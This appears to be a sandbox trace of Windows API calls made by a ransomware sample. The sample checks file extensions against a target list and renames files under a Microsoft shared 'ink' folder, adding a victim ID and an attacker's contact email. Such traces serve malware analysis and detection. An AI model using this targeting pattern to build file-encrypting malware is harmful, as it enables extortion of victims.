	[0188.940] lstrlenW (lpString=".7z") returned 3
	[0188.940] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0188.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.949] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=219) returned 1
	[0188.950] CloseHandle (hObject=0x36c) returned 1
	[0188.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20
	[0188.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.950] lstrlenW (lpString=".doc") returned 4
	[0188.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.950] lstrlenW (lpString=".docx") returned 5
	[0188.950] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0188.950] lstrlenW (lpString=".pdf") returned 4
	[0188.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.950] lstrlenW (lpString=".xls") returned 4
	[0188.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.950] lstrlenW (lpString=".xlsx") returned 5
	[0188.950] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0188.950] lstrlenW (lpString=".ppt") returned 4
	[0188.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.950] lstrlenW (lpString=".zip") returned 4
	[0188.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.950] lstrlenW (lpString=".rar") returned 4
	[0188.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.950] lstrlenW (lpString=".bz2") returned 4
	[0188.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.951] lstrlenW (lpString=".7z") returned 3
	[0188.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.951] lstrlenW (lpString=".dbf") returned 4
	[0188.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.951] lstrlenW (lpString=".1cd") returned 4
	[0188.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0188.951] lstrlenW (lpString=".jpg") returned 4
	[0188.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.951] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.951] lstrlenW (lpString="oskpredbase.xml") returned 15
	[0188.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.952] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=924) returned 1
	[0188.952] CloseHandle (hObject=0x36c) returned 1
	[0188.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20
	[0188.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.952] lstrlenW (lpString=".doc") returned 4
	[0188.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.952] lstrlenW (lpString=".docx") returned 5
	[0188.952] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0188.952] lstrlenW (lpString=".pdf") returned 4
	[0188.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.952] lstrlenW (lpString=".xls") returned 4
	[0188.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.952] lstrlenW (lpString=".xlsx") returned 5
	[0188.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0188.952] lstrlenW (lpString=".ppt") returned 4
	[0188.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString=".zip") returned 4
	[0188.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.953] lstrlenW (lpString=".rar") returned 4
	[0188.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString=".bz2") returned 4
	[0188.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString=".7z") returned 3
	[0188.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString=".dbf") returned 4
	[0188.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString=".1cd") returned 4
	[0188.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString=".jpg") returned 4
	[0188.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.953] lstrlenW (lpString=".doc") returned 4
	[0188.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString=".docx") returned 5
	[0188.953] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0188.953] lstrlenW (lpString=".pdf") returned 4
	[0188.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString=".xls") returned 4
	[0188.953] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString=".xlsx") returned 5
	[0188.953] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0188.953] lstrlenW (lpString=".ppt") returned 4
	[0188.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.954] lstrlenW (lpString=".zip") returned 4
	[0188.955] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.955] lstrlenW (lpString=".rar") returned 4
	[0188.955] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.955] lstrlenW (lpString=".bz2") returned 4
	[0188.955] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.955] lstrlenW (lpString=".7z") returned 3
	[0188.955] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.955] lstrlenW (lpString=".dbf") returned 4
	[0188.955] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.955] lstrlenW (lpString=".1cd") returned 4
	[0188.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0188.955] lstrlenW (lpString=".jpg") returned 4
	[0188.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.955] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.955] lstrlenW (lpString="oskpred.xml") returned 11
	[0188.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.956] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=215) returned 1
	[0188.956] CloseHandle (hObject=0x36c) returned 1
	[0188.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20
	[0188.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.956] lstrlenW (lpString=".doc") returned 4
	[0188.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.956] lstrlenW (lpString=".docx") returned 5
	[0188.956] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0188.956] lstrlenW (lpString=".pdf") returned 4
	[0188.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.956] lstrlenW (lpString=".xls") returned 4
	[0188.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.956] lstrlenW (lpString=".xlsx") returned 5
	[0188.956] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0188.957] lstrlenW (lpString=".ppt") returned 4
	[0188.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString=".zip") returned 4
	[0188.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.957] lstrlenW (lpString=".rar") returned 4
	[0188.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString=".bz2") returned 4
	[0188.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString=".7z") returned 3
	[0188.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString=".dbf") returned 4
	[0188.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString=".1cd") returned 4
	[0188.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString=".jpg") returned 4
	[0188.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.957] lstrlenW (lpString=".doc") returned 4
	[0188.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString=".docx") returned 5
	[0188.957] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0188.957] lstrlenW (lpString=".pdf") returned 4
	[0188.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString=".xls") returned 4
	[0188.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString=".xlsx") returned 5
	[0188.957] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0188.957] lstrlenW (lpString=".ppt") returned 4
	[0188.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.958] lstrlenW (lpString=".zip") returned 4
	[0188.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.958] lstrlenW (lpString=".rar") returned 4
	[0188.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.958] lstrlenW (lpString=".bz2") returned 4
	[0188.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.958] lstrlenW (lpString=".7z") returned 3
	[0188.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.958] lstrlenW (lpString=".dbf") returned 4
	[0188.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.958] lstrlenW (lpString=".1cd") returned 4
	[0188.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0188.958] lstrlenW (lpString=".jpg") returned 4
	[0188.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.958] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.958] lstrlenW (lpString="ea-sym.xml") returned 10
	[0188.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.959] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=694) returned 1
	[0188.959] CloseHandle (hObject=0x36c) returned 1
	[0188.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20
	[0188.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.959] lstrlenW (lpString=".doc") returned 4
	[0188.959] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.959] lstrlenW (lpString=".docx") returned 5
	[0188.959] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1
	[0188.959] lstrlenW (lpString=".pdf") returned 4
	[0188.959] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.959] lstrlenW (lpString=".xls") returned 4
	[0188.959] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.959] lstrlenW (lpString=".xlsx") returned 5
	[0188.959] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1
	[0188.959] lstrlenW (lpString=".ppt") returned 4
	[0188.959] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.959] lstrlenW (lpString=".zip") returned 4
	[0188.959] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.959] lstrlenW (lpString=".rar") returned 4
	[0188.959] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.959] lstrlenW (lpString=".bz2") returned 4
	[0188.959] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".7z") returned 3
	[0188.960] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".dbf") returned 4
	[0188.960] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".1cd") returned 4
	[0188.960] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".jpg") returned 4
	[0188.960] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".doc") returned 4
	[0188.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".docx") returned 5
	[0188.960] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1
	[0188.960] lstrlenW (lpString=".pdf") returned 4
	[0188.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".xls") returned 4
	[0188.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".xlsx") returned 5
	[0188.960] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1
	[0188.960] lstrlenW (lpString=".ppt") returned 4
	[0188.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".zip") returned 4
	[0188.960] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.960] lstrlenW (lpString=".rar") returned 4
	[0188.960] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".bz2") returned 4
	[0188.960] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.960] lstrlenW (lpString=".7z") returned 3
	[0188.960] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.960] lstrlenW (lpString=".dbf") returned 4
	[0188.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.961] lstrlenW (lpString=".1cd") returned 4
	[0188.961] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0188.961] lstrlenW (lpString=".jpg") returned 4
	[0188.961] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.961] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.961] lstrlenW (lpString="ja-jp-sym.xml") returned 13
	[0188.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.961] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=805) returned 1
	[0188.961] CloseHandle (hObject=0x36c) returned 1
	[0188.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20
	[0188.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString=".doc") returned 4
	[0188.962] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString=".docx") returned 5
	[0188.962] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1
	[0188.962] lstrlenW (lpString=".pdf") returned 4
	[0188.962] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString=".xls") returned 4
	[0188.962] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString=".xlsx") returned 5
	[0188.962] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1
	[0188.962] lstrlenW (lpString=".ppt") returned 4
	[0188.962] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString=".zip") returned 4
	[0188.962] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.962] lstrlenW (lpString=".rar") returned 4
	[0188.962] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString=".bz2") returned 4
	[0188.962] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString=".7z") returned 3
	[0188.962] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString=".dbf") returned 4
	[0188.962] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0188.962] lstrlenW (lpString=".1cd") returned 4
	[0188.962] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
